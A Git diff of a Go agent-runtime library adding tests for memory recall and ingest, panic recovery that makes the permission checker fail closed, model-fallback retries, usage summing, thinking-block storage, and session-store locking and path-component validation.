func (f *fakeKG) Recall(ctx context.Context, q string) string {
f.recallCalls++
f.recallQuery = q
if f.recallDelay > 0 {
select {
case <-time.After(f.recallDelay):
case <-ctx.Done():
return ""
}
}
return f.recallReturn
}
func (f *fakeKG) Ingest(_ context.Context, thread []Message) {
f.ingestCalls++
f.ingestThreads = append(f.ingestThreads, thread)
}
func TestRunTurn_RecallInjectedIntoPrompt(t *testing.T) {
var captured []llm.SystemPromptPart
cap := &capturingLLMStub{onChatStream: func(req llm.ChatRequest) { captured = req.SystemPromptParts }}
kg := &fakeKG{shouldRecall: true, recallReturn: "Relevant memories:\n- the user likes tea\n"}
rt := &Runtime{
LLM: cap, Tools: newEchoRegistry(), Session: session.NewSession("a", "k"),
AgentID: "a", Model: "test", StaticSystemPrompt: "STATIC", KG: kg,
}
_, err := rt.RunTurn(context.Background(), "what do I like?", nil, nil)
require.NoError(t, err)
require.Equal(t, 1, kg.recallCalls)
require.Equal(t, "what do I like?", kg.recallQuery)
require.GreaterOrEqual(t, len(captured), 2, "expected static + recall parts")
require.Equal(t, "STATIC", captured[0].Text)
require.True(t, captured[0].Cache)
require.Equal(t, "Relevant memories:\n- the user likes tea\n", captured[len(captured)-1].Text)
require.False(t, captured[len(captured)-1].Cache, "recall hint must NOT be cached")
}
func TestRunTurn_NoRecallWhenShouldRecallFalse(t *testing.T) {
var captured []llm.SystemPromptPart
cap := &capturingLLMStub{onChatStream: func(req llm.ChatRequest) { captured = req.SystemPromptParts }}
kg := &fakeKG{shouldRecall: false, recallReturn: "should not appear"}
rt := &Runtime{
LLM: cap, Tools: newEchoRegistry(), Session: session.NewSession("a", "k"),
AgentID: "a", Model: "test", StaticSystemPrompt: "STATIC", KG: kg,
}
_, err := rt.RunTurn(context.Background(), "hi", nil, nil)
require.NoError(t, err)
require.Equal(t, 0, kg.recallCalls, "ShouldRecall false ⇒ Recall not called")
require.Len(t, captured, 1, "only the static part")
require.Equal(t, "STATIC", captured[0].Text)
}
func TestRunTurn_NoRecallOnContinuationRound(t *testing.T) {
var captured []llm.SystemPromptPart
cap := &capturingLLMStub{onChatStream: func(req llm.ChatRequest) { captured = req.SystemPromptParts }}
kg := &fakeKG{shouldRecall: true, recallReturn: "hint"}
rt := &Runtime{
LLM: cap, Tools: newEchoRegistry(), Session: session.NewSession("a", "k"),
AgentID: "a", Model: "test", StaticSystemPrompt: "STATIC", KG: kg,
}
_, err := rt.RunTurn(context.Background(), "", nil, nil)
require.NoError(t, err)
require.Equal(t, 0, kg.recallCalls, "continuation round must not recall")
require.Len(t, captured, 1)
}
func TestRunTurn_RecallTimeoutInjectsNothing(t *testing.T) {
var captured []llm.SystemPromptPart
cap := &capturingLLMStub{onChatStream: func(req llm.ChatRequest) { captured = req.SystemPromptParts }}
kg := &fakeKG{shouldRecall: true, recallReturn: "late", recallDelay: 2 * time.Second}
rt := &Runtime{
LLM: cap, Tools: newEchoRegistry(), Session: session.NewSession("a", "k"),
AgentID: "a", Model: "test", StaticSystemPrompt: "STATIC", KG: kg,
}
start := time.Now()
_, err := rt.RunTurn(context.Background(), "slow?", nil, nil)
require.NoError(t, err)
require.Less(t, time.Since(start), 1500*time.Millisecond, "recall must be bounded ~800ms")
require.Len(t, captured, 1, "timed-out recall injects nothing")
}
func TestRunTurn_IngestOnCompletion(t *testing.T) {
llmProvider := &scriptedStreamLLM{events: []scriptedStreamEvent{
{typ: llm.EventTextDelta, text: "done"},
{typ: llm.EventDone},
}}
kg := &fakeKG{}
rt := &Runtime{
LLM: llmProvider, Tools: newEchoRegistry(), Session: session.NewSession("a", "k"),
AgentID: "a", Model: "test", StaticSystemPrompt: "S", KG: kg,
}
res, err := rt.RunTurn(context.Background(), "remember I like tea", nil, nil)
require.NoError(t, err)
require.True(t, res.Done)
require.Equal(t, 1, kg.ingestCalls, "ingest fires once on the completing round")
require.NotEmpty(t, kg.ingestThreads[0], "ingest gets a non-empty thread")
require.Equal(t, "user", kg.ingestThreads[0][0].Role)
require.Equal(t, "remember I like tea", kg.ingestThreads[0][0].Content)
}
func TestRunTurn_NoIngestOnToolRound(t *testing.T) {
tc := &llm.ToolCall{ID: "tc_1", Name: "echo", Input: json.RawMessage(`{"x":1}`)}
llmProvider := &scriptedStreamLLM{events: []scriptedStreamEvent{
{typ: llm.EventToolCallStart, toolCall: tc},
{typ: llm.EventToolCallDone, toolCall: tc},
{typ: llm.EventDone},
}}
kg := &fakeKG{}
rt := &Runtime{
LLM: llmProvider, Tools: newEchoRegistry(), Session: session.NewSession("a", "k"),
AgentID: "a", Model: "test", StaticSystemPrompt: "S", KG: kg,
}
res, err := rt.RunTurn(context.Background(), "use echo", nil, nil)
require.NoError(t, err)
require.False(t, res.Done, "tool round is not terminal")
require.Equal(t, 0, kg.ingestCalls, "no ingest on a round that produced tool calls")
}
func TestRunTurn_NoIngestWhenKGNil(t *testing.T) {
llmProvider := &scriptedStreamLLM{events: []scriptedStreamEvent{
{typ: llm.EventTextDelta, text: "done"},
{typ: llm.EventDone},
}}
rt := &Runtime{
LLM: llmProvider, Tools: newEchoRegistry(), Session: session.NewSession("a", "k"),
AgentID: "a", Model: "test", StaticSystemPrompt: "S", KG: nil,
}
res, err := rt.RunTurn(context.Background(), "hi", nil, nil)
require.NoError(t, err)
require.True(t, res.Done)
}
+165
View File
@@ -0,0 +1,165 @@
package runtime
import (
"context"
"encoding/json"
"testing"
"github.com/sausheong/harness/llm"
"github.com/sausheong/harness/session"
"github.com/sausheong/harness/tool"
"github.com/stretchr/testify/require"
)
// echoTool is a minimal tool.Tool implementation for RunTurn tests. It
// satisfies the real tool.Tool interface (Name/Description/Parameters/
// Execute/IsConcurrencySafe) and echoes its raw input back as output.
type echoTool struct{}
func (echoTool) Name() string { return "echo" }
func (echoTool) Description() string { return "echoes its input" }
func (echoTool) Parameters() json.RawMessage { return json.RawMessage(`{"type":"object"}`) }
func (echoTool) Execute(_ context.Context, input json.RawMessage) (tool.ToolResult, error) {
return tool.ToolResult{Output: string(input)}, nil
}
func (echoTool) IsConcurrencySafe(_ json.RawMessage) bool { return true }
// newEchoRegistry returns a tool.Registry containing only echoTool.
func newEchoRegistry() *tool.Registry {
reg := tool.NewRegistry()
reg.Register(echoTool{})
return reg
}
// TestRunTurn_TextOnly_IsDone: provider emits a text delta then EventDone
// with NO tool calls. The turn must be terminal (Done=true, StopReason
// "completed") and append exactly two entries: the user message and the
// assistant message.
func TestRunTurn_TextOnly_IsDone(t *testing.T) {
// scriptedStreamLLM emits its scripted events only on the FIRST call;
// subsequent calls emit a bare EventDone. For a text-only first turn we
// script text + done directly.
llmProvider := &scriptedStreamLLM{events: []scriptedStreamEvent{
{typ: llm.EventTextDelta, text: "hello world"},
{typ: llm.EventDone},
}}
rt := &Runtime{
LLM: llmProvider,
Tools: newEchoRegistry(),
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "test",
}
res, err := rt.RunTurn(context.Background(), "hi", nil, nil)
require.NoError(t, err)
require.True(t, res.Done, "text-only turn should be terminal")
require.Equal(t, "completed", res.StopReason)
require.Len(t, res.Entries, 2, "expected user + assistant entries")
require.Equal(t, session.EntryTypeMessage, res.Entries[0].Type)
require.Equal(t, "user", res.Entries[0].Role)
require.Equal(t, session.EntryTypeMessage, res.Entries[1].Type)
require.Equal(t, "assistant", res.Entries[1].Role)
}
// TestRunTurn_ToolCall_NotDone_ThenDone: turn 1 the model calls echo ⇒ the
// turn is NOT done and the entries include a tool_result entry. Turn 2
// (continuation, empty userMsg) the model emits text only ⇒ the turn is done.
func TestRunTurn_ToolCall_NotDone_ThenDone(t *testing.T) {
tc := &llm.ToolCall{ID: "tc_1", Name: "echo", Input: json.RawMessage(`{"x":1}`)}
// scriptedStreamLLM emits the scripted events on call 1 and a bare
// EventDone on every subsequent call — which is exactly the turn-2
// text-only/no-tool-calls behavior we need.
llmProvider := &scriptedStreamLLM{events: []scriptedStreamEvent{
{typ: llm.EventToolCallStart, toolCall: tc},
{typ: llm.EventToolCallDone, toolCall: tc},
{typ: llm.EventDone},
}}
rt := &Runtime{
LLM: llmProvider,
Tools: newEchoRegistry(),
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "test",
}
// Turn 1: tool call ⇒ not done, has a tool_result entry.
res1, err := rt.RunTurn(context.Background(), "use echo", nil, nil)
require.NoError(t, err)
require.False(t, res1.Done, "a turn that produced tool calls must not be terminal")
require.Equal(t, "continue", res1.StopReason)
var sawToolResult bool
for _, e := range res1.Entries {
if e.Type == session.EntryTypeToolResult {
sawToolResult = true
}
}
require.True(t, sawToolResult, "turn 1 entries should include a tool_result")
// Turn 2: continuation with empty userMsg ⇒ model emits no tool calls
// (bare EventDone) ⇒ terminal.
res2, err := rt.RunTurn(context.Background(), "", nil, nil)
require.NoError(t, err)
require.True(t, res2.Done, "second turn (no tool calls) should be terminal")
require.Equal(t, "completed", res2.StopReason)
}
// TestRunTurn_LLMError: the provider emits a mid-stream EventError. RunTurn
// does NOT use Run's stream-fallback path, so the error surfaces directly:
// the turn is terminal with StopReason "error" and a non-nil Err.
//
// Note on the fake: scriptedStreamLLM's scriptedStreamEvent cannot carry an
// error value (it has no error field), so it cannot emit a meaningful
// EventError. We reuse streamingOnlyProvider from streamfallback_test.go —
// the same-package fake the streaming tests use to simulate a mid-stream
// error (text delta then EventError with a real error).
func TestRunTurn_LLMError(t *testing.T) {
llmProvider := &streamingOnlyProvider{}
rt := &Runtime{
LLM: llmProvider,
Tools: newEchoRegistry(),
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "test",
}
res, err := rt.RunTurn(context.Background(), "do it", nil, nil)
require.NoError(t, err, "RunTurn surfaces stream errors via TurnResult.Err, not its own error return")
require.True(t, res.Done, "an errored turn must be terminal")
require.Equal(t, "error", res.StopReason)
require.Error(t, res.Err)
require.EqualValues(t, 1, llmProvider.streamCalls.Load(), "stream hit exactly once (no fallback in RunTurn)")
}
// TestRunTurn_PreCancelledContext: a context cancelled before RunTurn runs
// must short-circuit to an aborted turn with a non-nil Err, and the LLM must
// never be called. scriptedStreamLLM exposes a `calls` counter, so we assert
// the provider was never invoked.
func TestRunTurn_PreCancelledContext(t *testing.T) {
llmProvider := &scriptedStreamLLM{events: []scriptedStreamEvent{
{typ: llm.EventTextDelta, text: "should never run"},
{typ: llm.EventDone},
}}
rt := &Runtime{
LLM: llmProvider,
Tools: newEchoRegistry(),
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "test",
}
ctx, cancel := context.WithCancel(context.Background())
cancel()
res, err := rt.RunTurn(ctx, "hi", nil, nil)
require.NoError(t, err)
require.Equal(t, "aborted", res.StopReason)
require.Error(t, res.Err)
require.EqualValues(t, 0, llmProvider.calls.Load(), "LLM must not be called when context is pre-cancelled")
}
+62
View File
@@ -0,0 +1,62 @@
package runtime
import (
"context"
"encoding/json"
"fmt"
"log/slog"
"runtime/debug"
"github.com/sausheong/harness/tool"
)
func recoveredPanicError(component string, recovered any) error {
err := fmt.Errorf("%s panicked: %v", component, recovered)
slog.Error("recovered extension panic", "component", component, "error", err, "stack", string(debug.Stack()))
return err
}
func callToolExecute(ctx context.Context, ex tool.Executor, name string, input json.RawMessage) (result tool.ToolResult, err error) {
defer func() {
if recovered := recover(); recovered != nil {
err = recoveredPanicError("tool "+name, recovered)
}
}()
return ex.Execute(ctx, name, input)
}
func callBeforeToolHook(ctx context.Context, hook func(context.Context, string, json.RawMessage) (HookDecision, error), name string, input json.RawMessage) (decision HookDecision, err error) {
defer func() {
if recovered := recover(); recovered != nil {
err = recoveredPanicError("BeforeToolUse hook", recovered)
}
}()
return hook(ctx, name, input)
}
func callAfterToolHook(ctx context.Context, hook func(context.Context, string, json.RawMessage, tool.ToolResult), name string, input json.RawMessage, result tool.ToolResult) {
defer func() {
if recovered := recover(); recovered != nil {
_ = recoveredPanicError("AfterToolUse hook", recovered)
}
}()
hook(ctx, name, input, result)
}
func callOnStopHook(ctx context.Context, hook func(context.Context, string), reason string) {
defer func() {
if recovered := recover(); recovered != nil {
_ = recoveredPanicError("OnStop hook", recovered)
}
}()
hook(ctx, reason)
}
func callPermissionCheck(ctx context.Context, checker tool.PermissionChecker, agentID, name string, input json.RawMessage) (decision tool.Decision) {
defer func() {
if recovered := recover(); recovered != nil {
decision = tool.Decision{Behavior: tool.DecisionDeny, Reason: recoveredPanicError("permission checker", recovered).Error()}
}
}()
return checker.Check(ctx, agentID, name, input)
}
+111
View File
@@ -0,0 +1,111 @@
package runtime
import (
"context"
"encoding/json"
"testing"
"time"
"github.com/sausheong/harness/llm"
"github.com/sausheong/harness/llm/llmtest"
"github.com/sausheong/harness/session"
"github.com/sausheong/harness/tool"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
type panickingTool struct{}
func (*panickingTool) Name() string { return "panic_tool" }
func (*panickingTool) Description() string { return "panics for testing" }
func (*panickingTool) Parameters() json.RawMessage { return json.RawMessage(`{"type":"object"}`) }
func (*panickingTool) IsConcurrencySafe(json.RawMessage) bool { return false }
func (*panickingTool) Execute(context.Context, json.RawMessage) (tool.ToolResult, error) {
panic("boom")
}
type panickingPermission struct{}
func (panickingPermission) Check(context.Context, string, string, json.RawMessage) tool.Decision {
panic("permission boom")
}
func (panickingPermission) FilterToolDefs(defs []llm.ToolDef, _ string) []llm.ToolDef {
return defs
}
func TestDispatchToolRecoversExecutePanicAndPreservesPairing(t *testing.T) {
reg := tool.NewRegistry()
reg.Register(&panickingTool{})
rt := &Runtime{Tools: reg, Session: session.NewSession("agent", "key")}
result, aborted := rt.dispatchTool(context.Background(), llm.ToolCall{
ID: "call-1", Name: "panic_tool", Input: json.RawMessage(`{}`),
}, nil)
assert.False(t, aborted)
assert.Contains(t, result.Error, "tool panic_tool panicked: boom")
entries := rt.Session.Entries()
require.Len(t, entries, 2)
assert.Equal(t, session.EntryTypeToolCall, entries[0].Type)
assert.Equal(t, session.EntryTypeToolResult, entries[1].Type)
}
func TestDispatchToolFailsClosedWhenPermissionPanics(t *testing.T) {
reg := tool.NewRegistry()
reg.Register(&mockTool{name: "safe", output: "must not execute"})
rt := &Runtime{
Tools: reg, Session: session.NewSession("agent", "key"),
Permission: panickingPermission{},
}
result, aborted := rt.dispatchTool(context.Background(), llm.ToolCall{
ID: "call-1", Name: "safe", Input: json.RawMessage(`{}`),
}, nil)
assert.False(t, aborted)
assert.Contains(t, result.Error, "permission checker panicked")
assert.NotContains(t, result.Output, "must not execute")
require.Len(t, rt.Session.Entries(), 2)
}
func TestRunRecoversHookPanicAsEventError(t *testing.T) {
rt := hookFixture(t, LifecycleHooks{
OnUserPromptSubmit: func(context.Context, string, []llm.ImageContent) (string, []llm.ImageContent, error) {
panic("hook boom")
},
}, nil, nil)
events, err := rt.Run(context.Background(), "hello", nil)
require.NoError(t, err)
var got error
for event := range events {
if event.Type == EventError {
got = event.Error
}
}
require.Error(t, got)
assert.Contains(t, got.Error(), "runtime panicked: hook boom")
}
func TestRunRejectsConcurrentCall(t *testing.T) {
started := make(chan struct{})
provider := &llmtest.Stub{Text: "done", Delay: 50 * time.Millisecond, Started: started}
rt := &Runtime{
LLM: provider, Tools: tool.NewRegistry(),
Session: session.NewSession("agent", "key"), Model: "mock", MaxTurns: 1,
}
first, err := rt.Run(context.Background(), "first", nil)
require.NoError(t, err)
<-started
second, err := rt.Run(context.Background(), "second", nil)
require.ErrorContains(t, err, "already running")
assert.Nil(t, second)
for range first {
}
third, err := rt.Run(context.Background(), "third", nil)
require.NoError(t, err, "runtime must become available after the first run ends")
for range third {
}
}
+79
View File
@@ -0,0 +1,79 @@
package runtime
import (
"context"
"errors"
"sync/atomic"
"testing"
"github.com/sausheong/harness/llm"
"github.com/sausheong/harness/llm/llmtest"
"github.com/sausheong/harness/session"
"github.com/sausheong/harness/tool"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
// streamErrThenOKProvider emits EventError (no token) on the first stream
// call, then clean text on the second.
type streamErrThenOKProvider struct {
llmtest.Base
calls atomic.Int64
streamErr error
finalText string
}
func (p *streamErrThenOKProvider) ChatStream(_ context.Context, _ llm.ChatRequest) (<-chan llm.ChatEvent, error) {
n := p.calls.Add(1)
ch := make(chan llm.ChatEvent, 4)
if n == 1 {
ch <- llm.ChatEvent{Type: llm.EventError, Error: p.streamErr}
} else {
ch <- llm.ChatEvent{Type: llm.EventTextDelta, Text: p.finalText}
ch <- llm.ChatEvent{Type: llm.EventDone}
}
close(ch)
return ch, nil
}
func TestStreamErrorRetryableEngagesFallback(t *testing.T) {
prov := &streamErrThenOKProvider{
streamErr: errors.New("429 rate limit exceeded"),
finalText: "RECOVERED_VIA_FALLBACK",
}
rt := &Runtime{
LLM: prov,
Tools: tool.NewRegistry(),
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "claude-opus-4-8",
FallbackModel: "claude-sonnet-4-5",
Provider: "anthropic",
MaxTurns: 2,
Workspace: t.TempDir(),
}
out, err := rt.RunSync(context.Background(), "do it", nil)
require.NoError(t, err)
assert.Contains(t, out, "RECOVERED_VIA_FALLBACK")
assert.EqualValues(t, 2, prov.calls.Load(), "must retry once after the pre-first-token 429")
}
func TestStreamErrorNonRetryableStillAborts(t *testing.T) {
prov := &streamErrThenOKProvider{
streamErr: errors.New("400 invalid input"),
finalText: "SHOULD_NOT_BE_REACHED",
}
rt := &Runtime{
LLM: prov,
Tools: tool.NewRegistry(),
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "claude-opus-4-8",
Provider: "anthropic",
MaxTurns: 2,
Workspace: t.TempDir(),
}
_, err := rt.RunSync(context.Background(), "do it", nil)
require.Error(t, err)
assert.EqualValues(t, 1, prov.calls.Load(), "non-retryable pre-first-token error must abort, not retry")
}
+12 -3
View File
@@ -46,9 +46,10 @@ type AgentSpec struct {
// Reasoning maps to each provider's native reasoning knob. Use
// llm.ReasoningOff (zero value), Low, Medium, or High.
Reasoning string
// Loop controls the runtime's tool-execution behavior (concurrency
// cap, depth cap, streaming-tools toggle). Zero value ⇒ env-var
// fallback then compiled-in defaults.
// Loop controls the runtime's per-agent tool-execution behavior
// (concurrency cap, depth cap, streaming-tools toggle). Non-zero fields
// and non-nil hooks override RuntimeDeps.AgentLoop; remaining zero values
// inherit the shared setting, then its env/default fallback.
Loop LoopConfig
// MCPServers, when non-empty, are connected by BuildRuntime: each
// server's tools are namespaced ("mcp__<Name>__<tool>") and added
@@ -71,6 +72,14 @@ type LoopConfig struct {
// StreamingTools enables mid-stream concurrency-safe tool kickoff.
// false ⇒ env fallback (HARNESS_STREAMING_TOOLS=1) then off.
StreamingTools bool
// MaxToolResultLen caps the in-context length of any single tool
// result; longer results are truncated to their first MaxToolResultLen
// chars (cut at a newline boundary) with the remainder either spilled
// to disk via spillConfig or simply dropped. 0 ⇒ env fallback
// (HARNESS_MAX_TOOL_RESULT_LEN) then default 4000. Common pick for
// engineering-style agents (reading source files, running tests) is
// 16000-25000.
MaxToolResultLen int
// Hooks are optional callbacks the runtime fires at well-known
// points in the loop. Zero value (all nil fields) disables every
// hook with no overhead.
+25
View File
@@ -0,0 +1,25 @@
package runtime
import "github.com/sausheong/harness/llm"
// addUsage returns the field-wise sum of two usage snapshots. A nil operand is
// treated as zero. It returns a fresh pointer and never mutates its arguments,
// so callers may safely pass a pointer that aliases a provider stream event.
// Returns nil only when BOTH operands are nil, preserving the contract that
// EventDone.Usage stays nil for providers that never report usage.
func addUsage(acc, turn *llm.Usage) *llm.Usage {
if acc == nil && turn == nil {
return nil
}
var out llm.Usage
if acc != nil {
out = *acc
}
if turn != nil {
out.InputTokens += turn.InputTokens
out.OutputTokens += turn.OutputTokens
out.CacheCreationInputTokens += turn.CacheCreationInputTokens
out.CacheReadInputTokens += turn.CacheReadInputTokens
}
return &out
}
+45
View File
@@ -0,0 +1,45 @@
package runtime
import (
"testing"
"github.com/sausheong/harness/llm"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestAddUsage_BothNil(t *testing.T) {
assert.Nil(t, addUsage(nil, nil))
}
func TestAddUsage_AccNil(t *testing.T) {
turn := &llm.Usage{InputTokens: 7, OutputTokens: 3, CacheCreationInputTokens: 2, CacheReadInputTokens: 1}
got := addUsage(nil, turn)
require.NotNil(t, got)
assert.Equal(t, llm.Usage{InputTokens: 7, OutputTokens: 3, CacheCreationInputTokens: 2, CacheReadInputTokens: 1}, *got)
// input not mutated, and the result must be a distinct pointer (the
// non-mutating/aliasing-safety contract the accumulator relies on).
assert.NotSame(t, turn, got)
assert.Equal(t, 7, turn.InputTokens)
}
func TestAddUsage_TurnNil(t *testing.T) {
acc := &llm.Usage{InputTokens: 5}
got := addUsage(acc, nil)
require.NotNil(t, got)
assert.Equal(t, 5, got.InputTokens)
}
func TestAddUsage_SumsAllFourFields(t *testing.T) {
acc := &llm.Usage{InputTokens: 100, OutputTokens: 40, CacheCreationInputTokens: 10, CacheReadInputTokens: 6}
turn := &llm.Usage{InputTokens: 10, OutputTokens: 5, CacheCreationInputTokens: 1, CacheReadInputTokens: 2}
got := addUsage(acc, turn)
require.NotNil(t, got)
assert.Equal(t, 110, got.InputTokens)
assert.Equal(t, 45, got.OutputTokens)
assert.Equal(t, 11, got.CacheCreationInputTokens)
assert.Equal(t, 8, got.CacheReadInputTokens)
// neither input mutated
assert.Equal(t, 100, acc.InputTokens)
assert.Equal(t, 10, turn.InputTokens)
}
+40 -6
View File
@@ -36,10 +36,18 @@ type ImageData struct {
Data string `json:"data"` // base64-encoded
}
// ThinkingBlockData stores a thinking block from a model response.
// It must be echoed back verbatim in subsequent turns.
type ThinkingBlockData struct {
Thinking string `json:"thinking"`
Signature string `json:"signature,omitempty"`
}
// MessageData holds text message content.
type MessageData struct {
Text string `json:"text"`
Images []ImageData `json:"images,omitempty"`
Text string `json:"text"`
Images []ImageData `json:"images,omitempty"`
ThinkingBlocks []ThinkingBlockData `json:"thinking_blocks,omitempty"`
}
// ToolCallData holds a tool call's details.
@@ -85,6 +93,12 @@ type Session struct {
entryMap map[string]*SessionEntry
leafID string // current leaf for history traversal
store *Store
// writeMu serializes store writes and preserves their order. Acquired in
// Append while s.mu is still held (lock-coupling), then s.mu is released
// before the disk write — so disk latency stays off s.mu while on-disk
// order still matches in-memory append order under concurrent callers. (P5)
writeMu sync.Mutex
}
// NewSession creates a new empty session.
@@ -100,7 +114,6 @@ func NewSession(agentID, key string) *Session {
// Append adds an entry to the session.
func (s *Session) Append(entry SessionEntry) {
s.mu.Lock()
defer s.mu.Unlock()
if entry.ID == "" {
entry.ID = generateID("e")
}
@@ -115,9 +128,19 @@ func (s *Session) Append(entry SessionEntry) {
s.entryMap[entry.ID] = &s.entries[len(s.entries)-1]
s.leafID = entry.ID
// Persist if store is set
if s.store != nil {
s.store.AppendEntry(s, entry)
finalized := entry // value copy with all fields set
store := s.store
// Lock-coupling: take writeMu BEFORE releasing s.mu so the disk-write
// order matches the in-memory append order even under concurrent callers,
// then release s.mu so disk latency doesn't block concurrent View()/append.
if store != nil {
s.writeMu.Lock()
s.mu.Unlock()
store.AppendEntry(s, finalized)
s.writeMu.Unlock()
} else {
s.mu.Unlock()
}
}
@@ -323,6 +346,17 @@ func AssistantMessageEntry(text string) SessionEntry {
}
}
// AssistantMessageEntryWithThinking creates an assistant message entry that
// includes thinking blocks which must be echoed back in subsequent turns.
func AssistantMessageEntryWithThinking(text string, blocks []ThinkingBlockData) SessionEntry {
data, _ := json.Marshal(MessageData{Text: text, ThinkingBlocks: blocks})
return SessionEntry{
Type: EntryTypeMessage,
Role: "assistant",
Data: data,
}
}
// ToolCallEntry creates a tool call entry.
//
// input is sanitised to "{}" when empty or not valid JSON. The
+57
View File
@@ -350,3 +350,60 @@ func TestSession_ViewReturnsCopy(t *testing.T) {
require.Len(t, v2, 1)
require.Equal(t, "e_1", v2[0].ID, "internal state must not be mutated by caller's slice modification")
}
func TestConcurrentAppendAndViewNoRace(t *testing.T) {
dir := t.TempDir()
store := NewStore(dir)
require.NoError(t, store.Create("a", "k"))
sess := NewSession("a", "k")
sess.SetStore(store)
var wg sync.WaitGroup
wg.Add(1)
go func() {
defer wg.Done()
for i := 0; i < 500; i++ {
sess.Append(SessionEntry{Type: EntryTypeMessage, Role: "user", Data: []byte(`{"text":"x"}`)})
}
}()
wg.Add(1)
go func() {
defer wg.Done()
for i := 0; i < 500; i++ {
_ = sess.View()
}
}()
wg.Wait()
require.Len(t, sess.Entries(), 500)
}
// TestAppendPreservesDiskOrder verifies that the P5 lock-coupling keeps the
// on-disk JSONL order identical to the in-memory append order: sequential
// appends must persist in order, and reloading from disk must round-trip them
// in the same sequence.
func TestAppendPreservesDiskOrder(t *testing.T) {
dir := t.TempDir()
store := NewStore(dir)
require.NoError(t, store.Create("a", "k"))
sess := NewSession("a", "k")
sess.SetStore(store)
const n = 200
for i := 0; i < n; i++ {
sess.Append(SessionEntry{
Type: EntryTypeMessage,
Role: "user",
Data: json.RawMessage(fmt.Sprintf(`{"text":"%d"}`, i)),
})
}
reloaded, err := store.Load("a", "k")
require.NoError(t, err)
got := reloaded.Entries()
require.Len(t, got, n)
for i := 0; i < n; i++ {
require.JSONEq(t, fmt.Sprintf(`{"text":"%d"}`, i), string(got[i].Data),
"on-disk entry %d out of order", i)
}
}
+69 -2
View File
@@ -9,6 +9,7 @@ import (
"path/filepath"
"strings"
"sync"
"sync/atomic"
"time"
)
@@ -22,8 +23,19 @@ type SessionInfo struct {
// Store handles JSONL file I/O for sessions.
type Store struct {
baseDir string
mu sync.Mutex
baseDir string
mu sync.Mutex
degraded atomic.Bool
}
// markDegraded emits a single warning the first time session persistence
// fails, so a user notices that in-memory state may not survive a restart.
// Subsequent failures stay at their existing Error level to avoid log spam.
func (s *Store) markDegraded(reason string, err error) {
if s.degraded.CompareAndSwap(false, true) {
slog.Warn("session persistence degraded; in-memory state may not survive restart",
"reason", reason, "error", err)
}
}
// NewStore creates a new session store.
@@ -41,8 +53,29 @@ func (s *Store) sessionPath(agentID, key string) string {
return filepath.Join(s.sessionDir(agentID), key+".jsonl")
}
// validateStoreComponent keeps caller-provided identifiers as one filesystem
// path component. Empty values remain supported for backward compatibility,
// but separators, volume names, and dot traversal are rejected.
func validateStoreComponent(kind, value string) error {
if value == "." || value == ".." || filepath.VolumeName(value) != "" ||
strings.ContainsAny(value, `/\`) {
return fmt.Errorf("invalid %s %q: must be a single path component", kind, value)
}
return nil
}
func validateStoreIDs(agentID, key string) error {
if err := validateStoreComponent("agent ID", agentID); err != nil {
return err
}
return validateStoreComponent("session key", key)
}
// Load reads a session from its JSONL file.
func (s *Store) Load(agentID, key string) (*Session, error) {
if err := validateStoreIDs(agentID, key); err != nil {
return nil, err
}
path := s.sessionPath(agentID, key)
f, err := os.Open(path)
@@ -91,9 +124,15 @@ func (s *Store) Load(agentID, key string) (*Session, error) {
func (s *Store) AppendEntry(sess *Session, entry SessionEntry) {
s.mu.Lock()
defer s.mu.Unlock()
if err := validateStoreIDs(sess.AgentID, sess.Key); err != nil {
s.markDegraded("invalid session path", err)
slog.Error("refusing to persist session outside store", "error", err)
return
}
dir := s.sessionDir(sess.AgentID)
if err := os.MkdirAll(dir, 0o755); err != nil {
s.markDegraded("create session dir", err)
slog.Error("failed to create session dir", "error", err)
return
}
@@ -101,6 +140,7 @@ func (s *Store) AppendEntry(sess *Session, entry SessionEntry) {
path := s.sessionPath(sess.AgentID, sess.Key)
f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
if err != nil {
s.markDegraded("open session file", err)
slog.Error("failed to open session file", "error", err)
return
}
@@ -114,12 +154,16 @@ func (s *Store) AppendEntry(sess *Session, entry SessionEntry) {
data = append(data, '\n')
if _, err := f.Write(data); err != nil {
s.markDegraded("write session entry", err)
slog.Error("failed to write session entry", "error", err)
}
}
// Create creates an empty session file on disk so it shows up in List.
func (s *Store) Create(agentID, key string) error {
if err := validateStoreIDs(agentID, key); err != nil {
return err
}
s.mu.Lock()
defer s.mu.Unlock()
@@ -138,6 +182,9 @@ func (s *Store) Create(agentID, key string) error {
// List returns metadata for all sessions belonging to the given agent.
func (s *Store) List(agentID string) ([]SessionInfo, error) {
if err := validateStoreComponent("agent ID", agentID); err != nil {
return nil, err
}
dir := s.sessionDir(agentID)
entries, err := os.ReadDir(dir)
if err != nil {
@@ -209,6 +256,9 @@ func (s *Store) List(agentID string) ([]SessionInfo, error) {
// Exists checks whether a session file exists for the given agent and key.
func (s *Store) Exists(agentID, key string) bool {
if validateStoreIDs(agentID, key) != nil {
return false
}
path := s.sessionPath(agentID, key)
_, err := os.Stat(path)
return err == nil
@@ -216,6 +266,12 @@ func (s *Store) Exists(agentID, key string) bool {
// Rename renames a session file from oldKey to newKey.
func (s *Store) Rename(agentID, oldKey, newKey string) error {
if err := validateStoreIDs(agentID, oldKey); err != nil {
return err
}
if err := validateStoreComponent("session key", newKey); err != nil {
return err
}
s.mu.Lock()
defer s.mu.Unlock()
@@ -234,6 +290,9 @@ func (s *Store) Rename(agentID, oldKey, newKey string) error {
// Delete removes a session's JSONL file.
func (s *Store) Delete(agentID, key string) error {
if err := validateStoreIDs(agentID, key); err != nil {
return err
}
s.mu.Lock()
defer s.mu.Unlock()
@@ -249,9 +308,15 @@ func (s *Store) Delete(agentID, key string) error {
func (s *Store) Rewrite(sess *Session) {
s.mu.Lock()
defer s.mu.Unlock()
if err := validateStoreIDs(sess.AgentID, sess.Key); err != nil {
s.markDegraded("invalid session path", err)
slog.Error("refusing to rewrite session outside store", "error", err)
return
}
dir := s.sessionDir(sess.AgentID)
if err := os.MkdirAll(dir, 0o755); err != nil {
s.markDegraded("create session dir", err)
slog.Error("failed to create session dir", "error", err)
return
}
